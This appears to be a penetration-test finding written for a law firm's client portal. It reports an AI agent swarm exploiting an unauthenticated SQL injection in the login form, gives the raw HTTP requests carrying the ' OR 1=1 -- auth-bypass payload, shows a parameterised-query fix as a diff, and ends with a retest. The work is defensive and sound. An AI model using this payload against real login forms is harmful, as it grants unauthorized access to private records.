Unauthenticated SQL injection in the client portal login chains to full administrative takeover

A K0G agent swarm reached the client portal at portal.whitmorehale.example and found the login form builds its SQL query by string concatenation, with no parameterisation on the username field. A single crafted value authenticates as the first row in the users table — which is the firm's own administrator — with no valid password and no prior access.

On its own this is one injectable field. Chained, it is a straight line from the public internet to the administrative backend: the agent authenticated as an admin, enumerated the matters dashboard, and confirmed that 1,284 client records — including sealed settlements and privileged correspondence — were reachable from that session. K0G stopped at proof and did not read a single record's contents. The finding is rated Critical (CVSS 9.8) because it is remotely exploitable, needs no privileges or user interaction, and fully compromises confidentiality, integrity and availability of the application's data. Integrity and availability score High because the administrator role reached here confers write and destructive capability over that data — demonstrated as reachable, not exercised (see §4).

The severity is in the chain, not the single flaw. Five steps take the agent from anonymous reconnaissance to data it was never meant to see. MITRE ATT&CK techniques are noted per hop.

Deterministic. Any engineer can replay this in under a minute against the same build.

POST /client-login HTTP/1.1
Host: portal.whitmorehale.example
Content-Type: application/x-www-form-urlencoded

username='&password=x

HTTP/1.1 500 Internal Server Error

{ "error": "SQL syntax error near ''' at line 1",
  "code": "ER_PARSE_ERROR" }

POST /client-login HTTP/1.1
Host: portal.whitmorehale.example
Content-Type: application/x-www-form-urlencoded

username=' OR 1=1 -- &password=x

HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=a8f2…9c1d; HttpOnly; Path=/
X-Auth-User: admin@whitmorehale.example  # first row in users

SELECT * FROM users
WHERE username = '' OR 1=1 -- ' AND password = '…ignored…'
-- resolves to: WHERE username='' OR 1=1  → every row; LIMIT 1 returns the admin

The point of a proof is to remove all doubt that impact is real, without becoming the breach it warns about. K0G proves reach, then stops. Here is exactly what was and was not done.

The root cause is string-built SQL. The fix is a parameterised query so user input can never change the statement's structure. K0G opened this as a pull request against the target repo, in the codebase's own style.

 function findUser(username, password) {
-  const q = `SELECT * FROM users
-    WHERE username = '${username}' AND password = '${hash(password)}'`;
-  return db.query(q);
+  const q = `SELECT * FROM users WHERE username = ? AND password = ?`;
+  return db.query(q, [username, hash(password)]);   // parameterised — input can't alter structure
 }

Defence in depth, recommended alongside: enforce rate limiting and lockout on failed authentication (the secondary finding from hop 2); adopt a query builder or ORM that parameterises by default across the codebase; and add a WAF rule as a compensating control while the fix ships — noting a WAF is mitigation, not a fix.

A finding is not closed because a PR merged — it is closed because the original attack path no longer works. When the fix landed, K0G replayed the exact chain from hop 3.

POST /client-login  →  username=' OR 1=1 -- &password=x

HTTP/1.1 401 Unauthorized
{ "error": "invalid credentials" }   # payload matched no user; no SQL error

✓ attack path K0G-2026-0417 no longer reproducible — finding closed 2026-08-05